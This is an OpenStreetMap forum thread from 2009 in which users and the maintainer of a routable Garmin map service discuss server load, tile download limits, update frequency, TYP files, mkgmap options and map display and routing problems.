- Re: Worldwide routable Garmin maps: URL REMOVED · Willem1 (Gast) · 25.04.2009 14:01 · [flux]
I don't know why someone would need the whole world... but apparently there are people who need it. So, I would suggest to create all files for the whole world, this decreases the server load because it isn't needed to create a new mapset every time. If people request too much tiles then, it is possible to send them to the file of the whole world.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 25.04.2009 16:40 · [flux]
There already was such a simple 'catchall' where every request with more then 70% of the tiles would request all the tiles automatically (thus those requests could be cached). But all of Europe, Asia, Africa and Oceania is only 1/3 of all available tiles (maybe even less) and there are many variants in requesting all those tiles (one tile more or less is a different request) so such a simple optimization is not working for those requests.
An alternative could be to prepare precombined maps of e.g. the continents which I can perfectly do ofcourse, but Rullzer's question intrigues me as well: why do people want such large areas and do I need to cater for those needs?
Another alternative would be to provide a Java webstart application that generates and compiles the Garmin maps on the user' computer instead of the server. The server would only need to host the source osm files and the latest version of the Java application.
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 27.04.2009 07:58 · [flux]
Lambertus, the main cause is the huge amount of data and the high update rate. As you offer a whole new world every week, it is very tempting to download it especially for those people with a high bandwidth. What's the size of the world? I'd guess it's around 4GB -- that's nothing for a fast DSL connection and a flat rate.
As rullzer said correctly, nobody really needs the whole world. Maybe we see something that goes back to the "good old" Navteq days where new maps were emitted just once a year. "Back then" it perfectly made sense to put all the data onto the satnav and wait until the next update. Garmin now offers new maps every three months -- I wonder how long it takes until people get annoyed because each new map is virtually the same as the previous one.
What can be done about all this? First of all I strongly suggest that you change your update policy from weekly to monthly. The OSM maps are only useful when a region already is mapped quite well, which in turn implies that there aren't too many changes/updates.
Second, I wonder how your script is really working because you suggest a client side map creation that involves downloading osm files. mkgmap can combine several img files to a gmapsupp.img, so you just need precompiled images on the server. The question is, however, whether your server is short on CPU power or on network bandwidth.
Third, the theoretically best approach would be a revision control like that from CVS or subversion. You only have to download tiles that have changed since the last access. I am not sure if this would really be feasible because a single edit (such as a POI) would mark the complete tile as changed.
Last, the most practical solution could be to divide the world into some useful areas like Europe or North America and provide precompiled individual MapSource maps for these. This, along with a limit on the update rate, could reduce both CPU and bandwidth requirements on the server. At the same time, users could still compile one gmapsupp.img from all the continents using MapSource.
- Re: Worldwide routable Garmin maps: URL REMOVED · mtrax (Gast) · 27.04.2009 08:04 · [flux]
I was wondering if people want to publish a mirror list for each region to ease the bandwidth for your server
eg is you have common requests for updates based on regions they could download weekly and then people would be directed to local mirror - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.04.2009 08:56 · [flux]
weolvi wrote:
Lambertus, the main cause is the huge amount of data and the high update rate. As you offer a whole new world every week, it is very tempting to download it especially for those people with a high bandwidth. What's the size of the world? I'd guess it's around 4GB -- that's nothing for a fast DSL connection and a flat rate.
Yeah, that's quite possible.
As rullzer said correctly, nobody really needs the whole world. Maybe we see something that goes back to the "good old" Navteq days where new maps were emitted just once a year. "Back then" it perfectly made sense to put all the data onto the satnav and wait until the next update. Garmin now offers new maps every three months -- I wonder how long it takes until people get annoyed because each new map is virtually the same as the previous one.
What can be done about all this? First of all I strongly suggest that you change your update policy from weekly to monthly. The OSM maps are only useful when a region already is mapped quite well, which in turn implies that there aren't too many changes/updates.
Being able to produce weekly updates for mappers who use the maps to survey their area is one of the strongpoints of this service imho. To me a higher update rate is a big plus. Also there is the competition factor with e.g. Garmin where OSM can say: hey we update our maps every week! 😛
Second, I wonder how your script is really working because you suggest a client side map creation that involves downloading osm files. mkgmap can combine several img files to a gmapsupp.img, so you just need precompiled images on the server.
Tthe server uses precompiled tiles as you describe. The remark about downloading source osm data was just a possible scenario.
The question is, however, whether your server is short on CPU power or on network bandwidth.
CPU power is the problem currently. The server has more tasks to do other then combining and zipping Garmin maps. My hosting sponsor hasn't complained yet about bandwidth usage, but I expect them to do so now that I'm approaching 500GB/month and I want to prevent that if it's not necessary. I must say that Oxilon has been a wonderful sponsor and I wouldn't like to become a burden to them!
Third, the theoretically best approach would be a revision control like that from CVS or subversion. You only have to download tiles that have changed since the last access. I am not sure if this would really be feasible because a single edit (such as a POI) would mark the complete tile as changed.
Yes, if the tiles would be managed by some client side application then this would be an option. But the tiles are so big that there is not much chance of significant amounts of tiles that don't change between updates.
Last, the most practical solution could be to divide the world into some useful areas like Europe or North America and provide precompiled individual MapSource maps for these. This, along with a limit on the update rate, could reduce both CPU and bandwidth requirements on the server. At the same time, users could still compile one gmapsupp.img from all the continents using MapSource.
That eliminates the uses where only a few tiles are requested (which is the bulk of the requests) and does not profit from the bandwidth savings of such requests. It also eliminates the uniqueness of this service, there are already many other providers of precombined mapsets.
With the current tile limit the CPU usage is back to acceptable levels, requests are handled within an hour instead of day(s), disk usage takes a nose dive and, no doubt, bandwidth usage is much lower. I'm very happy with this. Users that really want a complete copy of (half) the world have to make their own.
mtrax wrote:
I was wondering if people want to publish a mirror list for each region to ease the bandwidth for your server
eg is you have common requests for updates based on regions they could download weekly and then people would be directed to local mirrorWell, maps of countries are already available from other map providers. It's the uniqueness of each personal request that makes this service stand out and makes mirroring difficult or ineffective at least.
- Re: Worldwide routable Garmin maps: URL REMOVED · Vclaw (Gast) · 27.04.2009 12:23 · [flux]
It would be useful if the website could show the file size of the selected tiles, and the total size of them.
Some people are using Garmins with limited memory, so want to know whether the map will fit. And some have slow internet connections, so don't want huge downloads.
It might also discourage people from downloading half of the world at once. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.04.2009 13:39 · [flux]
Vclaw wrote:
It would be useful if the website could show the file size of the selected tiles, and the total size of them.
That would be useful indeed, thanks for the suggestion.
Some people are using Garmins with limited memory, so want to know whether the map will fit.
Afaik, Garmins without SD-card do not support routing so they won't profit from this service. Also the tiles are optimized for maximum size and therefore not very suitable for Garmins with limited memory.
And some have slow internet connections, so don't want huge downloads. It might also discourage people from downloading half of the world at once.
True, but those who have a slow connection can see the size of the downloads when they are ready for download and the user can at that point decide not to download the map but request a smaller one instead. Those people with high bandwidth connections don't mind downloading two GB so they won't be discouraged anyway.
- Re: Worldwide routable Garmin maps: URL REMOVED · hpdin (Gast) · 28.04.2009 11:03 · [flux]
Hi Lamerturs,
many thanks für your routable osm-maps for garmin-devices. I am very pleased! It seems to me that the dataset comes without any typefile. I tried to implement some different typfiles using IMG2MS or MapsetToolKit. But always the whole mapsource-Database was corrupted und I had to remove the choosen typfiles to make it workable again.
How can a suitable typefile implemented and/or can I find such suitable typefile?Best regards
- horst -
- Re: Worldwide routable Garmin maps: URL REMOVED · Willem1 (Gast) · 28.04.2009 15:35 · [flux]
In the Consumentengids of May 2009 I found a letter to the editor (translated):
Your article about GPS in the March edition doesn't mention the free map of the Netherlands for bikes and cars on http://garmin.na1400.info/index.html. This map is based upon OpenStreetMap. After a bit of searching, you can find maps of the United States and countries in Western Europe. This initiative is growing rapidly and the maps are updated weekly.
More publicity! 😄
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 28.04.2009 16:27 · [flux]
hpdin wrote:
many thanks für your routable osm-maps for garmin-devices. I am very pleased! It seems to me that the dataset comes without any typefile. I tried to implement some different typfiles using IMG2MS or MapsetToolKit. But always the whole mapsource-Database was corrupted und I had to remove the choosen typfiles to make it workable again.
How can a suitable typefile implemented and/or can I find such suitable typefile?I don't know how to install a TYP file after the gmapsupp.img has been created, however I do know that the TYP file must have the same id (Family, Product, Series?) as the map it comes with.
I'm working on an updated website where you can select a predefined TYP file (and maybe even upload your own TYP) to be included with the combined maps.
Willem1 wrote:
In the Consumentengids of May 2009 I found a letter to the editor (translated):
Your article about GPS in the March edition doesn't mention the free map of the Netherlands for bikes and cars on http://garmin.na1400.info/index.html. This map is based upon OpenStreetMap. After a bit of searching, you can find maps of the United States and countries in Western Europe. This initiative is growing rapidly and the maps are updated weekly.
More publicity! 😄
Cool, is that a reader comment printed in the Consumentengids as a reaction on an earlier edition or an online comment?
BTW, for foreign readers, the Consumentengids is a monthly (?) glossy from the consumer interest organisation in the Netherlands. It contains product reviews, comparative tests, articles about specific laws etc.
- Re: Worldwide routable Garmin maps: URL REMOVED · owenmp (Gast) · 28.04.2009 21:59 · [flux]
I am a relatively new gps user but I ran across your service and think it is great. I use the North America maps and have found your site the only one that provides open source routable maps for North America. I have access to a server with significant bandwidth and may be able set up a mirror site. I would be particularly interested in hosting an area file for all of North America. Would you be at all interested in setting something up?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 29.04.2009 08:47 · [flux]
Thank you for your offer. There are some technical things we need to discuss before you and I say: let's go for it. I think it's best to work this out via private email so you'll be hearing from me.
- Re: Worldwide routable Garmin maps: URL REMOVED · forward100 (Gast) · 03.05.2009 00:55 · [flux]
"I'm really sorry I had to do this but there are simply too many people who are apparently going on a journey around the world."
Hi Lambertus!
In fact, I AM starting a round the world journey in 4 weeks, so I would have to request a lot of tiles. Should I do this in small bites or would you prefer I shove off from your server entirely? I'm concerned that even if I request a lot of small sections (and put them together with one of the Map Tool apps) it will still cause you server problems.
What is your advice?
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.05.2009 11:25 · [flux]
I don't mind if you request more than one combined map from the server. You can also just download the tiles from the server without performing a combine request. Just downloading does not stress the server.
One way of doing is this is to select all the tiles that you need for your journey and copy the list of tilenumbers into a text editor. Examine the url of one of those tiles and copy it in front of the list of tilenumbers. Then batch download the tiles using a tool like wget.
Example of tile list:http://planetosm.oxilion.nl/~lambertus/garmin/routable/16-04-2009/63240001.img http://planetosm.oxilion.nl/~lambertus/garmin/routable/16-04-2009/63240002.img http://planetosm.oxilion.nl/~lambertus/garmin/routable/16-04-2009/63240003.img http://planetosm.oxilion.nl/~lambertus/garmin/routable/16-04-2009/63240004.img http://planetosm.oxilion.nl/~lambertus/garmin/routable/16-04-2009/63240005.img etc
- Re: Worldwide routable Garmin maps: URL REMOVED · pwt (Gast) · 04.05.2009 16:31 · [flux]
Hi - I'm brand new to owning a Garmin GPS and discovered the freely available maps on OpenStreetMap and your site - THANKS!!!!
Unfortunately, I'm having a little problem. I select a set of tiles in Canada (Eastern Ontario), just north of the Great Lakes. But when I run the .exe file to install the mapset on my PC, all I see in Mapsource are a set of Points of Interest. A couple of times I've seens some roads that are in the US (Just south of the lakes), but nothing from Canada - And nothing in the way of shores, rivers, etc.
Has anyone else seen this, or am I just simply not doing something right. I'm running the latest version of MapSource from Garmin's site.
Any help appreciated.
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.05.2009 17:26 · [flux]
Is there data available on the map on this site for the area that you're interested in?
The Garmin maps are based upon OpenStreetMap data and our coverage is not everywhere as good as we would like (but you can help us gaining that coverage ofcourse!).
- Re: Worldwide routable Garmin maps: URL REMOVED · pwt (Gast) · 04.05.2009 17:48 · [flux]
Yes. I can see all the roads in the Ottawa area on openstreetmaps.com. But they don't show up in mapsource, when I run the downloaded routable .exe file.
- Re: Worldwide routable Garmin maps: URL REMOVED · pwt (Gast) · 04.05.2009 17:53 · [flux]
Sorry - typed the URL in the previous message incorrectly. Sholuld have been openstreetmap.org (the link you provided). The streets do also show up on the map where I select the tiles.
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 05.05.2009 06:51 · [flux]
Hi,
First of all thanks for the service. Seriously appreciated. I use the maps here in Korea to add more to OSM whenever I go out riding. So ...
I was wondering if there were any chance you could add the --name-tag-list=name:en to your command line or at least make it a checkable option, if possible? Having a Garmin that doesn't support Asian characters makes for a lot of confusion (???) on place and street names.And while on the subject of command line options, the --add-pois-to-areas would also be very useful for making schools, parks and other buildings searchable.
I am not sure how your scripting works, and my coding days are rather far behind me, but perhaps you could set up a page where the user could check off a number of command line options that would then be passed through when building with mkgmap .
I know you have your own plans and are already working hard on this. I am just thinking out loud.
I do try and make my own maps now and then, but the process seems to be a bit hit and miss for me at the moment.
Again, thanks a lot. Have a great day.
Robert
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.05.2009 08:29 · [flux]
pwt wrote:
Sorry - typed the URL in the previous message incorrectly. Sholuld have been openstreetmap.org (the link you provided). The streets do also show up on the map where I select the tiles.
Right, then there is something wrong with the build process for that area. I'll look at it.
alimamo wrote:
I was wondering if there were any chance you could add the --name-tag-list=name:en to your command line or at least make it a checkable option, if possible? Having a Garmin that doesn't support Asian characters makes for a lot of confusion (???) on place and street names.
Yes, there are lots of problems in that area (code pages and such). I'm working on a new version where you can set all kinds of parameters if you want to. Be patient though, it's impacting everything ofcourse so it requires some time.
And while on the subject of command line options, the --add-pois-to-areas would also be very useful for making schools, parks and other buildings searchable.
Good idea, I'll add that to the list as well.
I am not sure how your scripting works, and my coding days are rather far behind me, but perhaps you could set up a page where the user could check off a number of command line options that would then be passed through when building with mkgmap .
That's what I'm working at currently.
I do try and make my own maps now and then, but the process seems to be a bit hit and miss for me at the moment.
Yes, I've had my share of misses too 😛
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 05.05.2009 09:36 · [flux]
Lambertus wrote:
That's what I'm working at currently.
Great to hear it. I'll be looking forward to it and will try to be patient. 🤔
Have a great day.
Robert
- Re: Worldwide routable Garmin maps: URL REMOVED · Gibuld (Gast) · 05.05.2009 22:20 · [flux]
Hello,
Preliminarily I installed several tiles on my gpsmap 60csx and on Mapsource.
The version on the 60csx I combined with a typfile as provided for the complete Germany routable map of OSM.
On both versions (device / MS) I now have the same problem:
When zooming out beyond a scale of 3 km the OSM-roads disappear. The principal roads may dissapear partially and disappear completely with the next step (5 km)
The roads of the basemap remain visible.
Beyond a scale of 5 km the map looks quite useless:
The OSM-roads are disappeared, while the rivers and the private/public boundaries remained visible. As I understood, the problem relies to the levels attached to the various elements, but I cannot identify whether this is a problem of the OSM-data or the generation of the map.
Best regards,
Gibuld - Re: Worldwide routable Garmin maps: URL REMOVED · sejtam (Gast) · 06.05.2009 05:22 · [flux]
I tried downloading two sets of tiles. When I installed the second, the first one was removed from Mapsource (same product code I guess).
Is there an easy way to add tiles from a second download to one that was gotten earlier?Is there still an option to get a (cached) 'all tiles' download?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.05.2009 12:42 · [flux]
sejtam wrote:
I tried downloading two sets of tiles. When I installed the second, the first one was removed from Mapsource (same product code I guess).
Exactly. I'm working on allowing you to define your own map parameters like product codes.
Is there an easy way to add tiles from a second download to one that was gotten earlier?
There are several options to generate an overview map and TDB file (which are needed for MapSource) using existing tiles. One is using Mkgmap another is MapSetToolkit.
Is there still an option to get a (cached) 'all tiles' download?
No, not at the moment and I'm not sure I will add such an option again at all.
- Re: Worldwide routable Garmin maps: URL REMOVED · g4x (Gast) · 07.05.2009 16:20 · [flux]
First off - Lambertus, what a fantastic resource, thank you.
I'm probably being another numpty here ! - so apologies in advance.
I selected & downloaded tiles for all of UK - and opened them up in Mapsource, - all visible. I even managed to use the routing feature on a trial route between 2 waypoints I created. 🙂
But my "find places" is greyed out when the OSM Routable Map is open in Mapsource.:|
With PC basemap "find places" is OK but of course that is not routable.
Then I tried the option to show "OSM Map" - find places is OK, and it seems I can create a waypoint in there (that I could later use in OSM Routable),
BUT the problem is that not all the area is shown in this version. Although all of the UK is shown in routable - in the OSM Map it only shows a small portion of the South West of the UK - not even a whole tile. On the Select tiles page of the web site that tile should also have a corner of Spain - right?
What did I do wrong?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.05.2009 21:24 · [flux]
I guess you did nothing wrong here. You're looking at limitations of the map building process which includes the not fully working address search. I expect the software to become better at it in time but it requires more knowledge of the Garmin image format.
What is the option to show "OSM map"? I cannot find it in MapSource. Can you elaborate?
The tile that is not being shown... is that 63240046.img? I've looked at that tile and it seems ok to me... Can you post the download url please?
- Re: Worldwide routable Garmin maps: URL REMOVED · g4x (Gast) · 08.05.2009 09:59 · [flux]
Lambertus wrote:
I guess you did nothing wrong here. You're looking at limitations of the map building process which includes the not fully working address search. I expect the software to become better at it in time but it requires more knowledge of the Garmin image format.
What is the option to show "OSM map"? I cannot find it in MapSource. Can you elaborate?
The tile that is not being shown... is that 63240046.img? I've looked at that tile and it seems ok to me... Can you post the download url please?
Hi Lambertus
Thank you for your quick reply - Can I send you direct e-mail with screen dumps to show better what I mean (I couldn't figure how to do that directly in Forum post) ? - Re: Worldwide routable Garmin maps: URL REMOVED · g4x (Gast) · 08.05.2009 10:39 · [flux]
OK - I figured a way to do it on forum:)
This first screen dump shows what I got when I opened up the OSM World Routable map - the area is exactly what I was expecting.
but as I mentioned the "Find Places" is greyed out.You see at top left a drop down - it says OSM World Routable
but it also gives me other options like on this second screen dump
As you can see, this time, I selected option for OSM Map -
This time the "Find Places" is working !:) but unfortunately I do not live in that part of the country !
I am assuming I got that OSM Map as part of my download from you.... because until I found your wonderful service I could not get anything in Mapsource at all.My download url was:
<http://planetosm.oxilion.nl/~lambertus/ … 7ed9c9eac5>If that "OSM Map" was for all of UK - It would solve a problem... because I can find a place on there - put a Waypoint on it, then use that Waypoint in the Routable versionm.
I guess I should say also I got Mapsource on my PC by using the instructions near foot of this page:
http://yacf.co.uk/forum/index.php?topic=12998.60
because I don't yet own a Garmin - just thinking of buying one, and decided to explore OSM before spending money on Topo which I heard is not so good.
Anyway I got so excited by whole OSM concept - I even added a small (20 metre) path near my house (freehand without a GPS, just by reference to other already mapped features) Only a very small contribution I know but I hope to do more in future. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.05.2009 12:25 · [flux]
Your OSM map is most likely generated using cgpsmapper while my routable maps are generated using Mkgmap. Unfortunately the address search section in Mkgmap is not complete yet because of lack of understanding of the Garmin image format by it's makers. The reason why I don't use cgpsmapper is that it is a commercial application and I like to promote OS tools and drive their development by increasing the userbase. The development of Mkgmap is going strong so I guess the address search will be working within the next 6 months (uneducated guess!).
- Re: Worldwide routable Garmin maps: URL REMOVED · weolvi (Gast) · 08.05.2009 15:30 · [flux]
Lambertus, for some unknown reason routing doesn't work for tile 63240108.img (Cologne, Germany) on my StreetPilot. I haven't come across any other bad tiles so far...
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.05.2009 15:55 · [flux]
I'll rebuild the tile and see if I can see something strange...
- Re: Worldwide routable Garmin maps: URL REMOVED · g4x (Gast) · 08.05.2009 18:27 · [flux]
Yes I suppose it could be cgsmapper - I installed the freeware version of that, to try to make Mapsource readable files from a GMAPSUPP.IMG (for all of UK) supplied by another member of yacf forum. I could not get it to work. I don't know why it should (in the background) create something readable for just a corner of UK.
I had a look at Mkgmap - but I decided my command line days are too long ago. I will wait for the GUI on that. In the meantime the Routable map is OK without the Find places because one can use other resources like Multimap to find locations then put a waypoint on the routable map.
I will watch with great interest all the developments.
- Re: Worldwide routable Garmin maps: URL REMOVED · Willem1 (Gast) · 11.05.2009 13:40 · [flux]
I've been on a holiday in Switzerland, and because we had no topo maps there I used your OSM Garmin maps. It worked perfect!
But there is one problem: if I show your maps on the device, most areas are not shown. Some examples: landuse=residential, building=yes, natural=wood. Strange is that they do show up when loaded in MapSource. Another thing: highway=motorway is blue in MapSource and red on the device. And highway=track and highway=cycleway are different in MapSource, but there is no difference between them on the device. Are the MapSource application and the device using different styles?
Another thing: I think that POI's are displayed too early when zooming in. They should show up at 500m zoom level or something. Now, they show up at 3km.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.05.2009 13:55 · [flux]
I'm using the default Mkgmap style and have noticed the things you describe too (e.g. tracks, paths, footways and cycleways all having the same look on the GPS). Perhaps this needs fixing in the default Mkgmap style or we need to use a TYP file to control this, though from the openmtb map I understand this is a problem with the default Mkgmap style.
I an reluctant to develop my own style because of the time it takes and because other map makers possibly do not profit from it. So I think it would be best to somehow organize a significant effort to improve the default Mkgmap style.
- Re: Worldwide routable Garmin maps: URL REMOVED · forward100 (Gast) · 11.05.2009 16:28 · [flux]
Hi again Lambertus!
I think I've been finally beaten by trying to get OSM to work on my Garmin 60CX. I am still hoping to be able to add to the OSM knowledge while on my Around the World tour starting in 3 weeks.
I have created a map of Eastern US, dowloaded tiles individualy (to compile myself thus spare your server time). I compiled the tiles using GMapTool. I have finally loaded the map onto the GPS, and it works! Except once I get to 30k viewing distance, everything disappears... I don't know why this is and I have worked on compiling these maps and getting them on the GPS for weeks. Learning about GPS, learning about OSM, learning about MapSource, cgmapper, GmapTool, etc. Can anybody on this forum think what I might be doing wrong that the map should not work outside of 30k? Is my gpmapsupp.img file too large at 1.3GB?
Anyhoo, on the upside the compilation for South America works, and I can use it on my GPS: Hooray for me! Maybe I should just skip the states? 😛
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.05.2009 17:03 · [flux]
forward100 wrote:
I have created a map of Eastern US, dowloaded tiles individualy (to compile myself thus spare your server time). I compiled the tiles using GMapTool. I have finally loaded the map onto the GPS, and it works! Except once I get to 30k viewing distance, everything disappears... I don't know why this is and I have worked on compiling these maps and getting them on the GPS for weeks. Learning about GPS, learning about OSM, learning about MapSource, cgmapper, GmapTool, etc. Can anybody on this forum think what I might be doing wrong that the map should not work outside of 30k? Is my gpmapsupp.img file too large at 1.3GB?
I've never used GmapTool, only Mkgmap. I cant remember setting my zoomlevel to 30k on my Garmin so I don't know if it works in Mkgmap, but I wonder what's the benefit of zooming out that far...
Anyhoo, on the upside the compilation for South America works, and I can use it on my GPS: Hooray for me! Maybe I should just skip the states? 😛
South America is an infinitely little amount of data compared to North America, that might explain why that works.
- Re: Worldwide routable Garmin maps: URL REMOVED · forward100 (Gast) · 12.05.2009 03:55 · [flux]
Lambertus wrote:
I cant remember setting my zoomlevel to 30k on my Garmin so I don't know if it works in Mkgmap, but I wonder what's the benefit of zooming out that far...
It's the zooming IN part that isn't effective, otherwise I wouldn't have a problem. Any closer than 30k and all the data disappears, until I get to about 3k then I only see town labels. Can't figure out what I'm doing wrong.
I will try once more and make the Eastern US map compilation half the size. If I can't figure it out I'll move on.
Thanks for your help!
- Re: Worldwide routable Garmin maps: URL REMOVED · sunset_rider (Gast) · 12.05.2009 08:13 · [flux]
@Lambertus: Found your site and thought it would be best solution for my map problem in connection with the etrex Vista HcX to download a map with installer form your site. I requested two maps: One of the complete area of Germany and one only showing a small part of West-Germany. I Received the download link for both maps last night. However, when I try to download, I am just directed to a page with error "404 not found". 😬
The message was as follows:
Not FoundThe requested URL /~lambertus/garmin/routable/30-04-2009/cf9a5ae6a636ecc5e8e86ea39a7319f7> was not found on this server.
Apache/2.2.3 (CentOS) Server at planetosm.oxilion.nl Port 80Is this only a temporary problem or are my files really missing?
Thanks for any help in advance! I would really like to use your service! 🙂 - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 12.05.2009 09:15 · [flux]
You need to remove the '>' from the URL.
I added '<' in front and '>' at the back of the URL to prevent mail clients to break the URL in two sections (wrap) which works perfectly in Mozilla Thunderbird, but I guess some other mail clients parse messages differently. Perhaps I should resolve it differently. Does anyone else have a generic method of displaying long URL's without breaking up in email clients?
With breaking up I mean something like this:
http://planetosm.oxilion.nl/~lambertus/garmin/routable/09-04-2009/0f987fe31 b1651d0dedcb10737d42da5
Instead of:
http://planetosm.oxilion.nl/~lambertus/garmin/routable/09-04-2009/0f987fe31b1651d0dedcb10737d42da5
- Re: Worldwide routable Garmin maps: URL REMOVED · sunset_rider (Gast) · 12.05.2009 11:22 · [flux]
Oh, thank you. Sorry for that Noob-mistake. The URL looked a bit strange to me, but I did not figure it out. 🙂 😛
- Re: Worldwide routable Garmin maps: URL REMOVED · pwt (Gast) · 12.05.2009 11:48 · [flux]
Lamberus,
Thanks for the info (that there may be some build problems with the Canadian Maps, and that you'll look into it). To help, I'm requesting the following tiles: 73240253.img, 73240255.img, 73240259.img, 73240260.img, 73240292.img, 73240293.imgIt seems that only 73240253.img, 73240255.img have any real data in them (9Meg and 8M in size, respectively). All the others seem to be down around 100K->400K (some POIs, but nothing else).
Thanks again.
- Re: Worldwide routable Garmin maps: URL REMOVED · sunset_rider (Gast) · 12.05.2009 21:23 · [flux]
@Lambertus: I have another question. Hope, you can help me. 🙂 Your OSM Map works well with mapsource. However, I cannot search for anything. Is this a problem in connection with your map or is it my mistake? Please advise.
- Re: Worldwide routable Garmin maps: URL REMOVED · Gibuld (Gast) · 13.05.2009 00:05 · [flux]
forward100 wrote
Any closer than 30k and all the data disappears, until I get to about 3k then I only see town labels. Can't figure out what I'm doing wrong.I remember what I wrote one page ago here
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.05.2009 08:16 · [flux]
pwt wrote:
Thanks for the info (that there may be some build problems with the Canadian Maps, and that you'll look into it). To help, I'm requesting the following tiles: 73240253.img, 73240255.img, 73240259.img, 73240260.img, 73240292.img, 73240293.img
It seems that only 73240253.img, 73240255.img have any real data in them (9Meg and 8M in size, respectively). All the others seem to be down around 100K->400K (some POIs, but nothing else).
http://forum.openstreetmap.org/viewtopic.php?id=3242
sunset_rider wrote:
@Lambertus: I have another question. Hope, you can help me. 🙂 Your OSM Map works well with mapsource. However, I cannot search for anything. Is this a problem in connection with your map or is it my mistake? Please advise.
http://forum.openstreetmap.org/viewtopi … 508#p21508
Gibuld wrote:
forward100 wrote
Any closer than 30k and all the data disappears, until I get to about 3k then I only see town labels. Can't figure out what I'm doing wrong.I remember what I wrote one page ago here
I think this is something that is controlled in the Mkgmap style sheet which could use some extra work.
Also I read the following on the Mkgmap mailinglist
Pedestrian Routing can't work with autorouting focussed stylefiles. You can try maps from openmtbmap.org for pedestrian/hiking/mountainbike focussed routing.
Which might explain why long cycle and foot routes work so badly, although I don't exactly understand why the standard style file cannot provide adequate routing for all transport types.
I'm in the process of moving to my new house. I have to regrettably report here that I won't have much time for the next two months to work on the new version of the website or track down and fix bugs in the building process. This influenced work on the Garmin maps for some time already, but real life has really caught up now. I will try to keep the weekly updates going.
- Re: Worldwide routable Garmin maps: URL REMOVED · Gibuld (Gast) · 13.05.2009 08:45 · [flux]
Lambertus, best wishes for your new house. I appreciate your work with the routable OSM maps. Hopefully you later find the necessary time to update the Mkgmap style sheet. Your
page is worth being maintained for further enhancements. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.05.2009 09:15 · [flux]
Gibuld wrote:
I appreciate your work with the routable OSM maps. Hopefully you later find the necessary time to update the Mkgmap style sheet. Your page is worth being maintained for further enhancements.
There is some misunderstanding here. I have never done any updates to the Mkgmap stylesheet nor do I plan to, to be honest. I made a promise that mapping, the forum, yournavigation.org and the Garmin map generation is enough contribution to OSM (before it completely takes over my life). I leave Mkgmap development to others.
- Re: Worldwide routable Garmin maps: URL REMOVED · Gibuld (Gast) · 13.05.2009 10:16 · [flux]
Oh, then I really misunderstood something. I thought itÂ’s you who provides a style sheet to Mkgmap while generating the map via Mkgmap. What I wonder now is, who will care about the problem as described?
Could you imagine, that I was able to contribute to enhance the mapgeneration - though I'm quite infamiliar with Mkgmap ?
- Re: Worldwide routable Garmin maps: URL REMOVED · extremecarver (Gast) · 13.05.2009 11:22 · [flux]
Normal style-file can't provide good pedestrian routing, because the "pedestrian" setting on Garmin GPS is simply not working like people expect it to work. What it does is simply allowing more ways (like footways) to be taken into the routing, and not respecting oneway streets or turn-restrictions. It does not change the priority - meaning speed and road class of ways however (or incorrectly). Therefore a highway will still be prefered over a footway if they run side by side even though you switched to pedestrian routing in the menu setting.
To get proper pedestrian (or also bicylce, mountainbiking, hiking) routing you have to change roadclass and speedclass so that it fits the user class and use the GPS in Car/Motorcycle setting cause that's the only one that works correctly. (maybe emergency does work nicely too, I'm playing around with it). You therefore have to exclude any motorways or trunk roads from the routable types.
Difficult solution for a problem that seems simple. But as Garmin didn't think alot (because they don't offer any maps that provide pedestrian routing - the routable topos produce crap routing) when designing firmware of units and maps we have to go this way. This also means I switch maps when I change from mountainbike/hiking to my car to get back. Because a map suitable for hiking can't work for caruse. I'm trying to get my maps working good for bycicling too - but that's not easy.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.05.2009 12:22 · [flux]
Wow, that explains a lot of my and others experiences with the routable maps. Thank you for sharing this with us. What do you think of teaming up (after I've moved and settled ofcourse) to provide maps for foot, bike and car specific routing? It looks like you have the routing stuff well figured out and I have the flexible map combining and worldwide coverage... combined that could give amazing results!
To make the first step: I'm willing to get the website and map making toolchain into SVN :-)
- Re: Worldwide routable Garmin maps: URL REMOVED · arndale (Gast) · 13.05.2009 14:50 · [flux]
Hi Lambertus,
Great routable maps. Thanks for your hard work.
On your site it says 'Note: Map update in process.'. I assume that's why the USA is not showing at the moment. How long to the updates normally take as I'm off to the US soon and was hoping to take some of the maps for my Garmin with me.
Thanks
Dean - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.05.2009 16:27 · [flux]
arndale wrote:
Great routable maps. Thanks for your hard work.
On your site it says 'Note: Map update in process.'. I assume that's why the USA is not showing at the moment. How long to the updates normally take as I'm off to the US soon and was hoping to take some of the maps for my Garmin with me.
Indeed: America's tiles are being rendered right now. Should be ready in a few hours.
Update: no I'm mistaken, something is wrong with the resulting files from splitter. Gunzip complains about: "73240286.osm.gz: unexpected end of file" and it appears to do that with every file. I'm afraid I won't have new tiles for the America's within the next day(s).
- Re: Worldwide routable Garmin maps: URL REMOVED · sunset_rider (Gast) · 13.05.2009 17:32 · [flux]
Lambertus wrote:
sunset_rider wrote:
@Lambertus: I have another question. Hope, you can help me. 🙂 Your OSM Map works well with mapsource. However, I cannot search for anything. Is this a problem in connection with your map or is it my mistake? Please advise.
